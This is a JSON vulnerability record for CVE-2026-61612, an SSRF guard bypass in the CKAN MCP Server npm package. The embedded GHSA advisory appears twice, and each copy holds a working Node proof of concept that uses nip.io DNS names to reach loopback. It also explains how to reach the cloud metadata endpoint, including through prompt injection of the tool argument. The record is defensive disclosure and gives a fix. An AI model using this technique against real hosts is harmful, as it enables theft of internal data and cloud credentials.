{"id":"CVE-2026-61612","aliases":["EUVD-2026-84031","GHSA-798p-78g2-v556"],"status":"published","title":"@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509","description":"CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. Version 0.4.108 contains an updated fix.","severity":{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00392,"percentile":0.33692,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-09-21T17:37:17Z","modified":"2026-10-28T02:30:36Z","fixes":[{"ecosystem":"npm","package":"@aborruso/ckan-mcp-server","fixed_in":["0.4.108"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@aborruso/ckan-mcp-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.107"},{"fixed":"0.4.108"}]}]},{"source":"osv","ecosystem":"npm","package":"@aborruso/ckan-mcp-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.108"}]}]}],"products":[{"vendor":"ondata","product":"ckan-mcp-server"}],"references":[{"url":"https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/advisories/GHSA-3xm7-qw7j-qc8v","tags":["x_refsource_MISC","advisory"]},{"url":"https://github.com/advisories/GHSA-g84h-j7jj-x32p","tags":["x_refsource_MISC","advisory"]},{"url":"https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.108","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61612","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-798p-78g2-v556"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61612.json","tags":["advisory"]},{"url":"https://github.com/ondata/ckan-mcp-server","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-61612","title":"@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509","description":"CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. Version 0.4.108 contains an updated fix.","status":"published","published":"2026-09-21T17:37:17.03Z","modified":"2026-09-21T20:44:57.5Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:19:53.4444Z"}],"euvd":[{"id":"EUVD-2026-84031","description":"CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. Version 0.4.108 contains an updated fix.","status":"published","published":"2026-09-21T17:37:17Z","modified":"2026-09-21T20:44:57Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:04.224689Z"}],"ghsa":[{"id":"GHSA-798p-78g2-v556","title":"@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509","description":"## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: \u003cbody\u003e`.\n\n\u003e Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.\n\n## Proof of concept\nDrives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.\n```sh\nnpm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk\nnode poc.mjs\n```\n```js\nimport http from 'node:http';\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';\nconst internal = http.createServer((_req, res) =\u003e {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response\n});\nawait new Promise(r =\u003e internal.listen(0, '127.0.0.1', r));\nconst port = internal.address().port;\n\nconst client = new Client({ name: \"ssrf-poc\", version: \"1.0.0\" });\nawait client.connect(new StdioClientTransport({\n  command: \"node\", args: [\"node_modules/@aborruso/ckan-mcp-server/dist/index.js\"]\n}));\n\n// nip.io is public wildcard DNS: \u003cip\u003e.nip.io -\u003e \u003cip\u003e. The guard sees hostname \"127.0.0.1.nip.io\"\n// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.\n// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.\nconst evil = `http://127.0.0.1.nip.io:${port}/`;\nconst res = await client.callTool({ name: \"ckan_package_search\", arguments: { server_url: evil, q: \"x\" } });\n\nconst text = res.content?.[0]?.text || JSON.stringify(res);\nconsole.log(\"SSRF:\", text.includes(SECRET) ? \"YES — internal server reached, body returned to caller\" : \"no\");\nconsole.log(text.slice(0, 220));\nawait client.close(); internal.close();\n```\nOutput:\n```\nSSRF: YES — internal server reached, body returned to caller\nCKAN API returned success=false: {\"Token\":\"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\"}\n```\nA real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.\n\n## Impact\nCaller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.\n\n## Suggested fix\nResolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.","status":"published","published":"2026-09-22T14:51:20Z","modified":"2026-09-22T14:51:26Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:41:19.455935Z"}],"nvd":[{"id":"CVE-2026-61612","description":"CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. Version 0.4.108 contains an updated fix.","status":"published","published":"2026-09-21T18:17:09.073Z","modified":"2026-09-24T21:25:27.05Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-61612","title":"@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509","description":"CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. Version 0.4.108 contains an updated fix.","status":"published","published":"2026-09-21T17:37:17.03Z","modified":"2026-10-28T02:30:36.55436014Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:12.933503Z"},{"id":"GHSA-798p-78g2-v556","title":"@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509","description":"## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: \u003cbody\u003e`.\n\n\u003e Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.\n\n## Proof of concept\nDrives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.\n```sh\nnpm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk\nnode poc.mjs\n```\n```js\nimport http from 'node:http';\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';\nconst internal = http.createServer((_req, res) =\u003e {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response\n});\nawait new Promise(r =\u003e internal.listen(0, '127.0.0.1', r));\nconst port = internal.address().port;\n\nconst client = new Client({ name: \"ssrf-poc\", version: \"1.0.0\" });\nawait client.connect(new StdioClientTransport({\n  command: \"node\", args: [\"node_modules/@aborruso/ckan-mcp-server/dist/index.js\"]\n}));\n\n// nip.io is public wildcard DNS: \u003cip\u003e.nip.io -\u003e \u003cip\u003e. The guard sees hostname \"127.0.0.1.nip.io\"\n// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.\n// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.\nconst evil = `http://127.0.0.1.nip.io:${port}/`;\nconst res = await client.callTool({ name: \"ckan_package_search\", arguments: { server_url: evil, q: \"x\" } });\n\nconst text = res.content?.[0]?.text || JSON.stringify(res);\nconsole.log(\"SSRF:\", text.includes(SECRET) ? \"YES — internal server reached, body returned to caller\" : \"no\");\nconsole.log(text.slice(0, 220));\nawait client.close(); internal.close();\n```\nOutput:\n```\nSSRF: YES — internal server reached, body returned to caller\nCKAN API returned success=false: {\"Token\":\"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\"}\n```\nA real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.\n\n## Impact\nCaller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.\n\n## Suggested fix\nResolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.","status":"published","published":"2026-09-22T14:51:20Z","modified":"2026-09-23T03:56:42.719306174Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:40.657155Z"}]}}